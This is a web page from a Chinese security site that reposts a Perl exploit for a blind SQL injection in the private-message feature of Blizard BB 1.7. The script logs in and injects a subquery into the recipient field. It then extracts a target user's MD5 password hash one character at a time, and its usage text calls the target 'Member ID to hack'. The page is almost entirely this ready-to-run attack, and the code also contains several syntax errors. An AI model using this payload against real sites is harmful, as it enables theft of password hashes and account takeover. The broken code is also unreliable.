首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Blizard BB 1.7 (privtmsg) MD5 Hash Retrieve Blind sql injection Exploit
来源: staker[at]hotmail[dot]it 作者:StAkeR 发布时间:2017-03-01  
#!/usr/bin/perl
  
# ------------------------------------------------------------------------
# [+] Blizard BB 1.7 (privtmsg) MD5 Hash Retrieve (blind sql injection)
# ------------------------------------------------------------------------
# [*] Discovered by Juri Gianni - Turin,Italy
# [*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
# [*] Discovered on 28/02/2017
# [*] Category: WebApp
# [*] BUG: Blind SQL Injection
# --------------------------------------------------------------------------
#   [-] File privmsg.php
#
#   function new_send($pref, $username, $sel_smiles, $data, $newgo){
#       $destinatario=stripslashes($_POST['destinatario']);
#       
#       $checkif = mysql_query("SELECT * FROM ".$pref."_users WHERE username = '$destinatario'");
#       
#       $title=stripslashes($_POST['title']);
#       $message=stripslashes($_POST['message']);
#
#    if (empty($title)){
#    $title="No Title";
#    }
#       
#       if (((!empty($message)) and (mysql_num_rows($checkif) > 0))){  
#       mysql_query("INSERT INTO ".$pref."_private_messages VALUES ('', '$username', '$destinatario', '$title', '$message', '$data', '0');"); <-- bad query
#       
#       echo "<div class='success'>"._PRIVMSG_SENDER_OK."</div>";
#       redirect("privmsg.php", 2);
#       } else {
#               echo "<div class='error'>".PRIVMSG_NOEMPTY."</div>";
#       }
# }
# ----------------------------------------------------------------------------
# WWZ :)
#-----------------------------------------------------------------------------
  
use strict;
use IO::Socket::INET;
  
  
my ($host,$username,$password,$uid) = @ARGV;
  
  
if (@ARGV != 4) { usage(); }
  
  
my $path = "/blizardbb17/html/"; # Insert a valid path if required.
                                 # Change it with your hands
  
  
my @chars = (48..57, 97..102); 
my ($i,$ord,$hash) = (1,undef,undef);
parse_url($host);
my $cookie = login();
  
  
  
syswrite(STDOUT, "[-] Trying to retrieve MD5 Hash: ");
  
for ($i=0;$i<=32;$i++) 
{
                                  
   foreach $ord (@chars
   
               
      if (send_msg(sql($i,$ord)) == 666) 
          {  
              syswrite(STDOUT,chr($ord));
                  $hash .= chr($ord);
                  last;
          }
          if ($i == 2 and not defined $hash
          {
             syswrite(STDOUT,"\n[-] Exploit Failed");
                 exit;
          }      
   }               
}
  
  
  
if (length($hash) == 32) {
   die "\[-]Exploit Successfully";
}
else {
   die "\n[-] Exploit Failed";
}   
  
  
  
sub sql
{
      my ($i,$j,$sql) = (shift,shift,undef);
        
      $sql = "shrod ' AND ASCII(SUBSTRING((SELECT password FROM bz_users WHERE uid=".$uid."),".$i.",1))=".$j."#";
               
      return $sql;        
}        
      
          
sub parse_url()
{
   if ($_[0] =~  m{^http://(.+?)$}i ) { 
       $_[0] = $1
  }
}
  
  
sub login() {
  
  
my ($PHPSESSID,$content,$packet);
  
my $data = "username=".$username."&password=".$password."&red_url=".$host.$path."login.php&login=Login";
  
  
my $socket  = new IO::Socket::INET(
                                   PeerAddr => $host,
                                   PeerPort => 80,
                                   Proto    => 'tcp',
                                  ) or die $!;
          
                  
  
$packet .= "POST ".$path."login.php HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length:".length($data)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet.= $data;
  
  
$socket->send($packet);
   
   
 while (<$socket>) {
     $content .= $_;
 }    
   
    
  if($content =~ /PHPSESSID=(.+?);/) { 
   $PHPSESSID = $1
   return $PHPSESSID;
 
  else
     die $!;
  }
}
  
  
  
sub send_msg() {
  
  
my ($payload,$content,$packet) = (shift,undef,undef);
  
my $data2 = "title=IZI&destinatario=".$payload."&message=asdasd&newgo=Nuovo+Messaggio";
  
   
my $socket  = new IO::Socket::INET(
                                   PeerAddr => $host,
                                   PeerPort => 80,
                                   Proto    => 'tcp',
                                  ) or die $!;
          
                  
  
$packet .= "POST ".$path."privmsg.php?type=new HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Cookie: PHPSESSID=".$cookie."\r\n";
$packet .= "Content-Length:".length($data2)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet.= $data2;
  
  
$socket->send($packet);
   
   
 while (<$socket>) {
     $content .= $_;
 }    
   
  
if ($content  =~ /Messaggio inviato/) {
    return 666;
}
else
    return 0; }
}
  
  
sub usage() {
          
        print "[*---------------------------------------------------------*]\n".
              "[* Blizard BB 1.7 (privtmsg) Blind SQL Injection Exploit   *]\n".
              "[*---------------------------------------------------------*]\n"
              "[* Usage: perl web.pl [host] [username] [password] [uid]   *]\n".
              "[*                                                         *]\n".
              "[* Options:                                                *]\n".
              "[* [host] insert a valid host                              *]\n".
              "[* [username] insert your username                         *]\n".
              "[* [password] insert your password                         *]\n".
              "[* [uid] Member ID to hack                                 *]\n".
              "[*---------------------------------------------------------*]\n";        
      exit;                       
     
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Grails PDF Plugin 0.6 - XML Ex
·BlueIris 4.5.1.4 - Denial of S
·NETGEAR DGN2200v1/v2/v3/v4 - '
·Synchronet BBS 3.16c - Denial
·MVPower DVR Shell Unauthentica
·SysGauge 1.5.18 - Buffer Overf
·Trend Micro InterScan Messagin
·MikroTik Router Denial Of Serv
·Linux Kernel 4.4.0 (Ubuntu) -
·pfSense 2.3.2 Cross Site Reque
·Linux Kernel 4.4.0 (Ubuntu) -
·Ektron 8.5 / 8.7 / 9.0 XSLT Tr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved